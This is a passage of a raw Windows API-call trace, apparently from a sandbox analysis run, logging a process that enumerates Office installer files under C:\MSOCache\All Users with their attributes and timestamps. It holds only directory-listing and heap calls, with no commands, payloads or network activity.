cAlternateFileName="ACCESS~1.XML")) returned 1 [0054.691] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0054.691] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0054.691] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0054.691] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.692] GetProcessHeap () returned 0x730000 [0054.692] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2eb2890 | out: hHeap=0x730000) returned 1 [0054.692] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0054.692] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0054.692] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.692] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.692] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.692] GetProcessHeap () returned 0x730000 [0054.692] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.692] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0054.692] GetProcessHeap () returned 0x730000 [0054.692] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0054.692] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.693] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.693] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0054.693] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0054.694] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0054.694] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0054.694] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0054.694] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0054.694] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0054.694] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0054.694] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0054.694] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0054.694] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0054.694] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0054.695] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.695] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.695] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.695] GetProcessHeap () returned 0x730000 [0054.695] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.695] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0054.696] GetProcessHeap () returned 0x730000 [0054.696] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0054.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.696] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.696] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0054.696] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0054.697] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0054.697] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0054.697] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0054.697] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0054.697] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0054.697] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0054.697] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0054.697] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0054.697] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0054.698] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.698] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0054.698] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.698] GetProcessHeap () returned 0x730000 [0054.698] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.698] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0054.698] GetProcessHeap () returned 0x730000 [0054.699] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0054.699] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.705] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.705] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0054.705] 